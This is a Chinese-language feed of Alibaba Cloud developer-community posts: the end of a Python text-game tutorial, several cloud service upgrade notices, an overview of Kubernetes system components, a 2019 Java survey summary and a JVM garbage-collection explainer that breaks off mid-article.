                #判断白骨精是否还有生命值
                if Boss_life <= 0 :
                    #玩家攻击力过高,白骨精死亡
                    print(f"白骨精受到了你{User_attack}点的攻击力,重伤不治,死亡,->玩家胜利!<-")
                    #游戏结束
                    break
                else :
                    #boss 反击
                    User_life -= Boss_attack
                    print("->白骨精-<攻击了->唐僧<-")
                    #判断玩家是否还有生命值
                    if User_life <= 0:
                        # 白骨精攻击力过高,唐僧死亡
                        print(f"你受到了白骨精{Boss_attack}点的攻击力,重伤死亡->Game Over!<-")
                        # 游戏结束
                        break

        执行结果为:
        image.png
        如果持续练级,将攻击力提升到大于白骨精的生命值,将会是什么结果呢,再来看下:
        image.png
        此时就是胜利啦!
        接下来处理第三种情况,唐僧退出游戏:
        退出游戏那就是结束循环啦,用break即可。

            elif User_option == '3' :
                # 打印一行分割符
                print('-' * 55)
                #逃跑
                print("唐僧一见到白骨精,撒腿就跑!!!游戏结束。。")
                break

        执行结果为:
        image.png
        还要考虑到用户输入错误的情况,再添加一个else语句:

         else :
                # 打印一行分割符
                print('-' * 55)
                print("输入有误!请重新输入!")

        执行结果为:
        image.png
        这就完成了游戏的所有设置啦,同学们可以反复练习几遍,也可以根据自己的想法将游戏设置的更复杂一点。
        到这里,入门教程就完全结束啦,同学们有哪些收获呢?
        进阶教程即将开启~欢迎同学们的加入!

        视频学习:阿里云大学之Python进阶必看

        配套Python进阶文章点击此处获取

        ]]>
        【升级】12月31日消息队列MQ升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列MQ】【升级通知】

        升级窗口:北京时间2019年12月31日 01:00 - 09:00
        升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

        升级影响:

        升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
        升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
        如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】1月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列MQ】【升级通知】

        升级窗口:

        北京时间2020年1月2日 01:00 - 09:00

        北京时间2020年1月7日 01:00 - 09:00

        北京时间2020年1月9日 01:00 - 09:00

        北京时间2020年1月14日 01:00 - 09:00

        北京时间2020年1月16日 01:00 - 09:00
        升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

        升级影响:

        升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
        升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
        如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】1月至4月边缘节点服务ENS网络方案升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【边缘节点】【升级通知】

        升级窗口:

        2020年1月-4月,边缘节点分批次进行升级。

        升级内容:

        全部ENS节点的网络方案升级。

        升级前,ENS实例网卡采用bond方式,网卡驱动是ixgbevf;升级后,ENS实例提供eth0和eth1两个网卡,不再采用bond方式,网卡驱动变为virtio_net。

        升级影响:

        升级割接一般选择在凌晨或其他业务低峰时段进行,单节点升级时间控制在1小时以内。节点升级前48小时,系统将通过云监控、钉钉群等途径进行节点升级通知。

        升级操作需要升级宿主机的网卡驱动、并重启宿主机,会导致客户节点内实例若干分钟的网络中断。极端情况宿主机重启失败,会导致该宿主机下的ENS实例数据在其他宿主机重建,本地盘存储数据丢失。如果您对数据可靠性要求高,请在应用层做数据冗余。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】12月31日至1月7日CDN、DCDN、SCDN系统升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【CDN、DCDN、SCDN】【升级通知】

        升级窗口:北京时间 2019年12月31日 00:00:00 - 2020年1月7日 00:00:00

        升级内容:取消CDN、DCDN、SCDN这三款产品的CNAME地址返回延迟时间

        升级影响:升级期间,CDN、DCDN、SCDN这三款产品在添加域名操作环节的CNAME地址返回延迟时间将从当前的1~2分钟变更为即刻返回,对用户的实际业务无影响,加速域名的DNS解析可切CNAME地址的时间点仍然以域名状态显示“正常运行”为准。升级期间将会逐步从0%灰度到100%。

        ]]>
        【升级】1月7日爬虫风险管理日志超出免费额度容量不再写入通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【爬虫风险管理】【重要变更通知】

        变更时间:北京时间 2020年1月7日 00:00

        变更内容:产品日志服务超出免费额度容量(0.5T)不再持续写入,提供付费升级和清空操作

        变更影响:尊敬的爬虫风险管理用户,产品的日志服务预计于2019年1月7日对超出免费额度容量(0.5T)时不再写入,您可以付费升级容量额度,或者进行日志容量清空操作,来保证产品日志的继续写入和实时分析。给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187反馈。

        ]]>
        Windows实例搭建FTP站点 Fri, 02 May 2025 09:39:04 +0800 Windows实例搭建FTP站点

        ]]>
        容器服务 kubernetes 系统组件介绍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:joezxh
        4.jpeg
        镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

        1.前言

         容器服务建立 kubernetes 集群后,系统默认建立一批 kubernetes 集群的系统组件与进程,理解他们的部署配置方式和含义,是优化集群,排除 k8s 集群故障的技术基础之一。

        2.系统组件介绍:

        2.1 Master 组件

        2.1.1 kube-apiserver

         基于generic server 上封装的一层官方默认的 apiserver:

        • 提供了集群管理的REST API接口(包括认证授权、数据校验以及集群状态变更);
        • 提供其他模块之间的数据交互和通信的枢纽  (其他模块通过API Server查询或修改数据,只有API Server才直接操作etcd);
        • 资源配额控制的入口,完备的集群安全机制,对相关集群对象增删查改等操作。

        部署方式
         kube-apiserver 以 Static pod 静态POD 方式部署,其配置的 yaml 在 master 机器的/etc/kubernetes/manifests/kube-apiserver.yaml,修改该设置,保存后 k8s 集群会自动重启部署 apiserver pod 到Master 机器上。

        # ssh 登录 master 机器
        cd /etc/kubernetes/manifests
        # 查看 yaml 文件
        vi /etc/kubernetes/manifests/kube-apiserver.yaml

        服务暴露方式
         通过 SLB 负载均衡暴露服务,slb 后端服务器为 apiserver 所在的3台 Master 机器,侦听 pod 提供的6443 https 服务端口。

        2.1.2 ETCD:

         用来保存 k8s 集群所有对象的状态信息和网络信息。
        部署方式
         Master 机器上启动进程, etcd 在阿里云容器服务中以系统 Service 方式部署。
        服务暴露
         2379端口

        2.1.3 kube-scheduler:

         kubernetes 调度器,调度 pod 到 ECS 的部署。
        部署方式
         静态 POD方式部署,其配置的 yaml 在 master 机器的/etc/kubernetes/manifests/kube- scheduler.yaml,修改该设置,保存后 k8s 集群会自动重启部署。

        # ssh 登录 master 机器
        cd /etc/kubernetes/manifests
        # 查看 yaml 文件
        vi /etc/kubernetes/manifests/kube-scheduler.yaml

        服务暴露方式
        http 10251 端口提供服务

        2.1.4 kube-controller-manager:

         k8s 资源对象管理控制器,包括 默认启动的Node Controller, Daemon Controller, Deployment Controller 以及阿里云扩展的相关 Controller 控制器 等;
        部署方式
         静态 POD方式部署,其配置的 yaml 在 master 机器的/etc/kubernetes/manifests/kube-controller-manager.yaml,修改该设置,保存后 k8s 集群会自动重启部署。

        # ssh 登录 master 机器
        cd /etc/kubernetes/manifests
        # 查看 yaml 文件
        vi /etc/kubernetes/manifests/kube-controller-manager.yaml

        服务暴露方式
         http 10252 端口提供服务

        2.1.5 cloud-controller-manager:

         云资源管理控制器,实现 Cloud provider,用以云资源的管理。
        部署方式
         Daemonset 守护进程方式部署,部署在 Master 机器上,使用 。

        # 查看部署文件
        kubectl get daemonset cloud-controller-manager -o=yaml -n kube-system
        # 查看 pod
        kubectl get pods -n kube-system|grep cloud-controller-manager

        服务暴露方式
        http 10252 端口提供服务

        2.2 Node 组件

        2.2.1 kubelet:

         kubelet 服务进程,每个 node 上运行该节点,向 Master 注册节点信息。
        部署方式
         节点上运行该服务进程
        暴露服务
         包括 10250 端口的认证 API、4194 端口的 cAdvisor API、10255 端口的只读 API 以及 10248 端口的健康检查 API

        2.2.2 kube-proxy:

         网络通信组件
        部署方式
        Daemonset 守护进程方式部署,部署在 Master,Node 机器上都有使用 。

        # 查看部署文件
        kubectl get daemonset kube-proxy-master -o=yaml -n kube-system
        # 查看 pod
        kubectl get pods -n kube-system|grep kube-proxy-master

        2.3 附加组件

        名称 部署形式 提供的服务 备注
        kube-DNS(Core-DNS) Deployment 端口:53 域名解析服务 建立扩容至多个 POD 副本
        nginx ingress controller/default-http-backend Deployment Nginx http 七层协议路由与 http 后台服务 端口:80,443 对于 http 服务访问量高的必须扩容或者独立另外部署
        heapster & influxdb Deployment 80-->8082 pod 云监控组件:
        influxdb为存储监控数据的时序数据库;
        heapster 为容器集群监控和性能分析工具,HPA、Dashborad、Kubectl top都依赖于heapster收集的数据。
        坑:注意 influxdb 的内存做限制,防止其内存无限增长。
        kube-flannel Daemonset 网络设施进程
        logtail Daemonset 日志采集守护进程
        flexvolume Daemonset volumen 磁盘管理进程
        tiller-deploy Deployment port:44134 helm工具的服务端
        metrics-server Deployment 443 功能通 Heapster,采集容器监控与性能数据。
        alibaba-log-controller Deployment cloud-controller-manager 扩展 日志管理控制器
        alicloud-application-controller Deployment cloud-controller-manager 扩展 应用管理控制器
        alicloud-disk-controller Deployment cloud-controller-manager 扩展 磁盘存储控制器
        alicloud-monitor-controller Deployment cloud-controller-manager 扩展 云监控
        aliyun-acr-credential-helper Deployment cloud-controller-manager 扩展 认证

        阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

        ]]>
        2019 年 Java 调查报告:Java 8 仍然最受欢迎-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 尽管 Java 被称为编程语言的“老马”,但它仍在不断发展。

        在 Tiobe 排行榜中,它仍然是的第一名,在 PYPL 和 RedMonk 排行榜上则在与 Javascript 和 Python 争夺第二名的位置,按照 GitHub 上库贡献者的数据来看,它是第三大最受欢迎的语言(根据 GitHub 的 10 年数据)。

        时光在变,Java 一直没变,过去企业在谈 Java,现在还是在谈 Java,这一点可以在财富 500 强企业的技术栈中得到验证。

        为什么 Java 能够一直流行呢?其中的原因有很多,例如企业最看重的是向后兼容性,众所周知,向后兼容性对重大的更新和升级非常敏感,而 20 年前用 Java 5 编写的系统还是能够在 Java 8 下编译和运行。

        那么,2019 年 Java 的发展如何呢?Baeldung 调查了 6707 名开发经验丰富的技术人员,并从中获得了一些结论。

        使用版本:Java 8 仍然最受欢迎

        从 Java 8 之后,Java 的发布周期明显快了很多,现在已经快要到 Java 14 了。你可能会认为大多数人已经切换了更新版本的 Java 了,但实际情况并非如此,根据调查显示,80% 的受访者仍然在使用 Java 8。

        image.png

        为什么即使有了新版本,Java 8 仍然最受欢迎呢?这其中有很多原因:

        首先,Java 8 开创性的语言特性(参见我的闭包和Lambdas 书评)仍然在被编程社区吸收。即使到了2019 年,关于Steam 和Optional 的相关问题仍在网上被热烈讨论,Baeldung 自己也发布了 Java 8 Optional 指南。

        其次,Java 9 首先支持的新模块系统使人们感到困惑,而不是使他们感觉更轻松。

        第三,在后来的 Java 版本中引入的特性似乎没有足够的说服力让大家下决心切换。

        最后,还存在一个大问题,在 2019 年 1 月份之后,Java SE 8 的公共更新需要商业许可。这就是 Oracle JDK 与 OpenJDK 之争的开始,正如我们在之前的文章中所说的:

        随着 Oracle JDK 发行和支持的变化,是使用 Oracle JDK,还是 Oracle 的 OpenJDK,或者是其他供应商的 OpenJDK,这中间在权限上存在着相当大的不确定性。此外,在不同的供应商那里是否可以得到免费更新的相关计划,以及 (新的和现有的) 付费的支持模型,这些都要予以考虑。

        框架:Spring 占据主导地位

        在框架的采用方面,Spring 占据了主导地位。与传统且臃肿的 Java EE 相比,Spring 是现代化的、基于 Java 的企业应用程序的轻量级框架。Spring Boot 的采用率也很高。

        构建工具:Maven 断层式第一

        在 Java 构建工具的调查中,Maven 以相当大的优势排在了第一位,这表明排在第二位的 Gradle 仍然是 Android 的代名词,之后需要做更多的努力来摆脱这些限制,以便被认为是 Java 构建通用实践的一个可行的选择。

        IDE:IntelliJ 大比例占据一位,Eclipse 份额持续下降

        在 IDE 的调查中,IntelliJ 以将近 60% 的份额占据了第一的位置,为什么 IntelliJ 如此受欢迎呢?Andrey Cheptsov 曾在一篇博客中这样写道:“在你编写代码时,IntelliJ IDEA 也忙着在构建它的语法树,在类、变量、字段、方法和它们的用法之间创建引用,分析执行流,利用这些信息,它可以提供补全功能,帮助你快速浏览代码,提供错误分析和方便的快速修复。”

        而传统的 Eclipse 则有点不妙,其占比从去年的 38% 下降到 32.8%

        Web/ 应用服务器:Tomcat 占据第一

        早在 2011 年,Forrester 的首席分析师 Mike Gualtieri 副总裁就写过一篇既有预见性又不受时间限制的文章,名为《停止在 WebLogic、WebSphere 和 JBoss 应用服务器上浪费金钱》

        他开头写道:

        “使用 Apache Tomcat 吧,它是免费的。

        我不明白为什么有些公司要在 Oracle Weblogic 或 IBM WebSphere Application Server 这样的 Java 应用服务器上花费数百万美元。我明白为什么有些公司要在 Red Hat JBoss 上花钱,因为他们想要节省在应用服务器上的开销。但是,为什么要花钱呢?Apache Tomcat 将满足大多数 Java web 应用程序的部署需求。”

        image.png

        该表反映了这种说法:Tomcat 一直保持着轻量级的资源消耗,毫无争议地击败 Jetty 夺得冠军。那些重量级产品的位次反映了它们那个年代已经过时的需求。

        其他 JVM 语言:Java 的使用率未发生变化

        首先,让人感到有些惊讶和有趣的是,有 62.6% 的开发人员只使用 Java,这与去年不相上下 (62.8%)。考虑到大家对 Kotlin 的大量采用,我的预期是这个数字肯定会下降,但现在看来并没有下降。不过,Kotlin 仍然从去年的 13% 增长到了现在的 16.5%。和 Gradle 一样,Kotlin 完全可以作为一种通用语言来用,尤其是在后端环境中,但在安卓之外它仍然未被接受得到普遍应用。

        数据库:关系型数据库比 NoSQL 更受欢迎

        MySQL 和 PostgreSQL 是前两名,Oracle 是第三名,MongoDB 和 MS SQL 是第四和第五名。这里有两个值得注意的趋势。与 Percona 的数据库管理系统流行度调查结果一致,关系型数据库管理系统胜过 NoSQL,而开源数据库管理系统则比大型商业数据库管理系统做得更好。就像前文中的 Web 服务器一样,人们寻求的也是更轻量级的等价物,尤其是 PostgreSQL。

        总结

        总而言之,根据调查结果显示,Java 不会被取代,在未来几年也将在继续保持 Top 3 的位置。不妥,尽管人们仍然坚持使用该语言及其围绕它的生态系统,但他们也在试图远离 Oracle 及其产品,如 IDE(JDeveloper)、服务器 (WebLogic)、JDK 及其旗舰数据库。MySQL 是个特例,因为它基本上不受甲骨文所有权的影响。大多数 Java 用户正在寻找更轻量级、更高效、更便宜、对开发人员和许可更友好的等价物,这些等价物完全比得上 Oracle 的同类产品,甚至更好。

        本文转自infoQ

        原文链接:https://www.infoq.cn/article/aiKteLpiwAPlyKL5Ef6p

        ]]>
        JVM 垃圾回收揭秘附常见面试题解析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 JVM 垃圾回收常见面试题

        问题答案在文中都有提到

        如何判断对象是否死亡(两种方法)。

        简单的介绍一下强引用、软引用、弱引用、虚引用(虚引用与软引用和弱引用的区别、使用软引用能带来的好处)。

        如何判断一个常量是废弃常量

        如何判断一个类是无用的类

        垃圾收集有哪些算法,各自的特点?

        HotSpot 为什么要分为新生代和老年代?

        常见的垃圾回收器有那些?

        介绍一下 CMS,G1 收集器。

        Minor Gc 和 Full GC 有什么不同呢?

        本文导火索

        image.png

        当需要排查各种内存溢出问题、当垃圾收集成为系统达到更高并发的瓶颈时,我们就需要对这些“自动化”的技术实施必要的监控和调节。

        1 揭开 JVM 内存分配与回收的神秘面纱

        Java 的自动内存管理主要是针对对象内存的回收和对象内存的分配。同时,Java 自动内存管理最核心的功能是 堆 内存中对象的分配与回收。

        Java 堆是垃圾收集器管理的主要区域,因此也被称作GC 堆(Garbage Collected Heap).从垃圾回收的角度,由于现在收集器基本都采用分代垃圾收集算法,所以 Java 堆还可以细分为:新生代和老年代:再细致一点有:Eden 空间、From Survivor、To Survivor 空间等。进一步划分的目的是更好地回收内存,或者更快地分配内存。

        堆空间的基本结构:

        image.png

        上图所示的 eden 区、s0("From") 区、s1("To") 区都属于新生代,tentired 区属于老年代。大部分情况,对象都会首先在 Eden 区域分配,在一次新生代垃圾回收后,如果对象还存活,则会进入 s1("To"),并且对象的年龄还会加 1(Eden 区->Survivor 区后对象的初始年龄变为 1),当它的年龄增加到一定程度(默认为 15 岁),就会被晋升到老年代中。对象晋升到老年代的年龄阈值,可以通过参数 -XX:MaxTenuringThreshold 来设置。经过这次GC后,Eden区和"From"区已经被清空。这个时候,"From"和"To"会交换他们的角色,也就是新的"To"就是上次GC前的“From”,新的"From"就是上次GC前的"To"。不管怎样,都会保证名为To的Survivor区域是空的。Minor GC会一直重复这样的过程,直到“To”区被填满,"To"区被填满之后,会将所有对象移动到年老代中。

        image.png

        1.1 对象优先在 eden 区分配

        目前主流的垃圾收集器都会采用分代回收算法,因此需要将堆内存分为新生代和老年代,这样我们就可以根据各个年代的特点选择合适的垃圾收集算法。

        大多数情况下,对象在新生代中 eden 区分配。当 eden 区没有足够空间进行分配时,虚拟机将发起一次 Minor GC.下面我们来进行实际测试以下。

        在测试之前我们先来看看 Minor GC 和 Full GC 有什么不同呢?

        新生代 GC(Minor GC):指发生新生代的的垃圾收集动作,Minor GC 非常频繁,回收速度一般也比较快。

        老年代 GC(Major GC/Full GC):指发生在老年代的 GC,出现了 Major GC 经常会伴随至少一次的 Minor GC(并非绝对),Major GC 的速度一般会比 Minor GC 的慢 10 倍以上。

        测试:

        public class GCTest {
        
            public static void main(String[] args) {
                byte[] allocation1, allocation2;
                allocation1 = new byte[30900*1024];
                //allocation2 = new byte[900*1024];
            }
        }
        

        通过以下方式运行:

        image.png

        添加的参数:-XX:+PrintGCDetails

        image.png
        运行结果 (红色字体描述有误,应该是对应于 JDK1.7 的永久代):
        image.png
        从上图我们可以看出 eden 区内存几乎已经被分配完全(即使程序什么也不做,新生代也会使用 2000 多 k 内存)。假如我们再为 allocation2 分配内存会出现什么情况呢?

        allocation2 = new byte[900*1024];
        

        image.png
        简单解释一下为什么会出现这种情况: 因为给 allocation2 分配内存的时候 eden 区内存几乎已经被分配完了,我们刚刚讲了当 Eden 区没有足够空间进行分配时,虚拟机将发起一次 Minor GC.GC 期间虚拟机又发现 allocation1 无法存入 Survivor 空间,所以只好通过 分配担保机制 把新生代的对象提前转移到老年代中去,老年代上的空间足够存放 allocation1,所以不会出现 Full GC。执行 Minor GC 后,后面分配的对象如果能够存在 eden 区的话,还是会在 eden 区分配内存。可以执行如下代码验证:

        public class GCTest {
        
            public static void main(String[] args) {
                byte[] allocation1, allocation2,allocation3,allocation4,allocation5;
                allocation1 = new byte[32000*1024];
                allocation2 = new byte[1000*1024];
                allocation3 = new byte[1000*1024];
                allocation4 = new byte[1000*1024];
                allocation5 = new byte[1000*1024];
            }
        }
        
        

        1.2 大对象直接进入老年代

        大对象就是需要大量连续内存空间的对象(比如:字符串、数组)。

        为什么要这样呢?

        为了避免为大对象分配内存时由于分配担保机制带来的复制而降低效率。

        1.3 长期存活的对象将进入老年代

        既然虚拟机采用了分代收集的思想来管理内存,那么内存回收时就必须能识别哪些对象应放在新生代,哪些对象应放在老年代中。为了做到这一点,虚拟机给每个对象一个对象年龄(Age)计数器。

        如果对象在 Eden 出生并经过第一次 Minor GC 后仍然能够存活,并且能被 Survivor 容纳的话,将被移动到 Survivor 空间中,并将对象年龄设为 1.对象在 Survivor 中每熬过一次 MinorGC,年龄就增加 1 岁,当它的年龄增加到一定程度(默认为 15 岁),就会被晋升到老年代中。对象晋升到老年代的年龄阈值,可以通过参数 -XX:MaxTenuringThreshold 来设置。

        1.4 动态对象年龄判定

        为了更好的适应不同程序的内存情况,虚拟机不是永远要求对象年龄必须达到了某个值才能进入老年代,如果 Survivor 空间中相同年龄所有对象大小的总和大于 Survivor 空间的一半,年龄大于或等于该年龄的对象就可以直接进入老年代,无需达到要求的年龄。

        2 对象已经死亡?

        堆中几乎放着所有的对象实例,对堆垃圾回收前的第一步就是要判断那些对象已经死亡(即不能再被任何途径使用的对象)。

        image.png

        2.1 引用计数法

        给对象中添加一个引用计数器,每当有一个地方引用它,计数器就加 1;当引用失效,计数器就减 1;任何时候计数器为 0 的对象就是不可能再被使用的。

        这个方法实现简单,效率高,但是目前主流的虚拟机中并没有选择这个算法来管理内存,其最主要的原因是它很难解决对象之间相互循环引用的问题。 所谓对象之间的相互引用问题,如下面代码所示:除了对象 objA 和 objB 相互引用着对方之外,这两个对象之间再无任何引用。但是他们因为互相引用对方,导致它们的引用计数器都不为 0,于是引用计数算法无法通知 GC 回收器回收他们。

        public class ReferenceCountingGc {
            Object instance = null;
            public static void main(String[] args) {
                ReferenceCountingGc objA = new ReferenceCountingGc();
                ReferenceCountingGc objB = new ReferenceCountingGc();
                objA.instance = objB;
                objB.instance = objA;
                objA = null;
                objB = null;
        
            }
        }
        

        2.2 可达性分析算法

        这个算法的基本思想就是通过一系列的称为 “GC Roots” 的对象作为起点,从这些节点开始向下搜索,节点所走过的路径称为引用链,当一个对象到 GC Roots 没有任何引用链相连的话,则证明此对象是不可用的。
        image.png

        2.3 再谈引用

        无论是通过引用计数法判断对象引用数量,还是通过可达性分析法判断对象的引用链是否可达,判定对象的存活都与“引用”有关。

        JDK1.2 之前,Java 中引用的定义很传统:如果 reference 类型的数据存储的数值代表的是另一块内存的起始地址,就称这块内存代表一个引用。

        JDK1.2 以后,Java 对引用的概念进行了扩充,将引用分为强引用、软引用、弱引用、虚引用四种(引用强度逐渐减弱)

        1.强引用(StrongReference)

        以前我们使用的大部分引用实际上都是强引用,这是使用最普遍的引用。如果一个对象具有强引用,那就类似于必不可少的生活用品,垃圾回收器绝不会回收它。当内存空间不足,Java 虚拟机宁愿抛出 OutOfMemoryError 错误,使程序异常终止,也不会靠随意回收具有强引用的对象来解决内存不足问题。

        2.软引用(SoftReference)

        如果一个对象只具有软引用,那就类似于可有可无的生活用品。如果内存空间足够,垃圾回收器就不会回收它,如果内存空间不足了,就会回收这些对象的内存。只要垃圾回收器没有回收它,该对象就可以被程序使用。软引用可用来实现内存敏感的高速缓存。

        软引用可以和一个引用队列(ReferenceQueue)联合使用,如果软引用所引用的对象被垃圾回收,JAVA 虚拟机就会把这个软引用加入到与之关联的引用队列中。

        3.弱引用(WeakReference)

        如果一个对象只具有弱引用,那就类似于可有可无的生活用品。弱引用与软引用的区别在于:只具有弱引用的对象拥有更短暂的生命周期。在垃圾回收器线程扫描它所管辖的内存区域的过程中,一旦发现了只具有弱引用的对象,不管当前内存空间足够与否,都会回收它的内存。不过,由于垃圾回收器是一个优先级很低的线程, 因此不一定会很快发现那些只具有弱引用的对象

        弱引用可以和一个引用队列(ReferenceQueue)联合使用,如果弱引用所引用的对象被垃圾回收,Java 虚拟机就会把这个弱引用加入到与之关联的引用队列中。

        4.虚引用(PhantomReference)

        "虚引用"顾名思义,就是形同虚设,与其他几种引用都不同,虚引用并不会决定对象的生命周期。如果一个对象仅持有虚引用,那么它就和没有任何引用一样,在任何时候都可能被垃圾回收。

        虚引用主要用来跟踪对象被垃圾回收的活动。

        虚引用与软引用和弱引用的一个区别在于: 虚引用必须和引用队列(ReferenceQueue)联合使用。当垃圾回收器准备回收一个对象时,如果发现它还有虚引用,就会在回收对象的内存之前,把这个虚引用加入到与之关联的引用队列中。程序可以通过判断引用队列中是否已经加入了虚引用,来了解被引用的对象是否将要被垃圾回收。程序如果发现某个虚引用已经被加入到引用队列,那么就可以在所引用的对象的内存被回收之前采取必要的行动。

        特别注意,在程序设计中一般很少使用弱引用与虚引用,使用软引用的情况较多,这是因为软引用可以加速 JVM 对垃圾内存的回收速度,可以维护系统的运行安全,防止内存溢出(OutOfMemory)等问题的产生。

        2.4 不可达的对象并非“非死不可”

        即使在可达性分析法中不可达的对象,也并非是“非死不可”的,这时候它们暂时处于“缓刑阶段”,要真正宣告一个对象死亡,至少要经历两次标记过程;可达性分析法中不可达的对象被第一次标记并且进行一次筛选,筛选的条件是此对象是否有必要执行 finalize 方法。当对象没有覆盖 finalize 方法,或 finalize 方法已经被虚拟机调用过时,虚拟机将这两种情况视为没有必要执行。

        被判定为需要执行的对象将会被放在一个队列中进行第二次标记,除非这个对象与引用链上的任何一个对象建立关联,否则就会被真的回收。

        2.5 如何判断一个常量是废弃常量

        运行时常量池主要回收的是废弃的常量。那么,我们如何判断一个常量是废弃常量呢?

        假如在常量池中存在字符串 "abc",如果当前没有任何 String 对象引用该字符串常量的话,就说明常量 "abc" 就是废弃常量,如果这时发生内存回收的话而且有必要的话,"abc" 就会被系统清理出常量池。

        注意:我们在 可能是把 Java 内存区域讲的最清楚的一篇文章 也讲了 JDK1.7 及之后版本的 JVM 已经将运行时常量池从方法区中移了出来,在 Java 堆(Heap)中开辟了一块区域存放运行时常量池。

        2.6 如何判断一个类是无用的类

        方法区主要回收的是无用的类,那么如何判断一个类是无用的类的呢?

        判定一个常量是否是“废弃常量”比较简单,而要判定一个类是否是“无用的类”的条件则相对苛刻许多。类需要同时满足下面 3 个条件才能算是 “无用的类” :

        该类所有的实例都已经被回收,也就是 Java 堆中不存在该类的任何实例。

        加载该类的 ClassLoader 已经被回收。

        该类对应的 java.lang.Class 对象没有在任何地方被引用,无法在任何地方通过反射访问该类的方法。

        虚拟机可以对满足上述 3 个条件的无用类进行回收,这里说的仅仅是“可以”,而并不是和对象一样不使用了就会必然被回收。

        3 垃圾收集算法

        该算法分为“标记”和“清除”阶段:首先标记出所有需要回收的对象,在标记完成后统一回收所有被标记的对象。它是最基础的收集算法,后续的算法都是对其不足进行改进得到。这种垃圾收集算法会带来两个明显的问题:

        效率问题

        空间问题(标记清除后会产生大量不连续的碎片)

        image.png

        3.2 复制算法

        为了解决效率问题,“复制”收集算法出现了。它可以将内存分为大小相同的两块,每次使用其中的一块。当这一块的内存使用完后,就将还存活的对象复制到另一块去,然后再把使用的空间一次清理掉。这样就使每次的内存回收都是对内存区间的一半进行回收。
        image.png

        3.3 标记-整理算法

        根据老年代的特点提出的一种标记算法,标记过程仍然与“标记-清除”算法一样,但后续步骤不是直接对可回收对象回收,而是让所有存活的对象向一端移动,然后直接清理掉端边界以外的内存。

        3.4 分代收集算法

        当前虚拟机的垃圾收集都采用分代收集算法,这种算法没有什么新的思想,只是根据对象存活周期的不同将内存分为几块。一般将 java 堆分为新生代和老年代,这样我们就可以根据各个年代的特点选择合适的垃圾收集算法。

        比如在新生代中,每次收集都会有大量对象死去,所以可以选择复制算法,只需要付出少量对象的复制成本就可以完成每次垃圾收集。而老年代的对象存活几率是比较高的,而且没有额外的空间对它进行分配担保,所以我们必须选择“标记-清除”或“标记-整理”算法进行垃圾收集。

        延伸面试问题: HotSpot 为什么要分为新生代和老年代?
        根据上面的对分代收集算法的介绍回答。

        4 垃圾收集器

        如果说收集算法是内存回收的方法论,那么垃圾收集器就是内存回收的具体实现

        虽然我们对各个收集器进行比较,但并非要挑选出一个最好的收集器。因为直到现在为止还没有最好的垃圾收集器出现,更加没有万能的垃圾收集器,我们能做的就是根据具体应用场景选择适合自己的垃圾收集器。试想一下:如果有一种四海之内、任何场景下都适用的完美收集器存在,那么我们的 HotSpot 虚拟机就不会实现那么多不同的垃圾收集器了。

        4.1 Serial 收集器

        Serial(串行)收集器收集器是最基本、历史最悠久的垃圾收集器了。大家看名字就知道这个收集器是一个单线程收集器了。它的 “单线程” 的意义不仅仅意味着它只会使用一条垃圾收集线程去完成垃圾收集工作,更重要的是它在进行垃圾收集工作的时候必须暂停其他所有的工作线程( "Stop The World" ),直到它收集结束。

        新生代采用复制算法,老年代采用标记-整理算法。

        image.png

        虚拟机的设计者们当然知道 Stop The World 带来的不良用户体验,所以在后续的垃圾收集器设计中停顿时间在不断缩短(仍然还有停顿,寻找最优秀的垃圾收集器的过程仍然在继续)。

        但是 Serial 收集器有没有优于其他垃圾收集器的地方呢?当然有,它简单而高效(与其他收集器的单线程相比)。Serial 收集器由于没有线程交互的开销,自然可以获得很高的单线程收集效率。Serial 收集器对于运行在 Client 模式下的虚拟机来说是个不错的选择。

        4.2 ParNew 收集器

        ParNew 收集器其实就是 Serial 收集器的多线程版本,除了使用多线程进行垃圾收集外,其余行为(控制参数、收集算法、回收策略等等)和 Serial 收集器完全一样。

        新生代采用复制算法,老年代采用标记-整理算法。

        image.png

        它是许多运行在 Server 模式下的虚拟机的首要选择,除了 Serial 收集器外,只有它能与 CMS 收集器(真正意义上的并发收集器,后面会介绍到)配合工作。
        并行和并发概念补充:

        并行(Parallel) :指多条垃圾收集线程并行工作,但此时用户线程仍然处于等待状态。

        并发(Concurrent):指用户线程与垃圾收集线程同时执行(但不一定是并行,可能会交替执行),用户程序在继续运行,而垃圾收集器运行在另一个 CPU 上。

        4.3 Parallel Scavenge 收集器

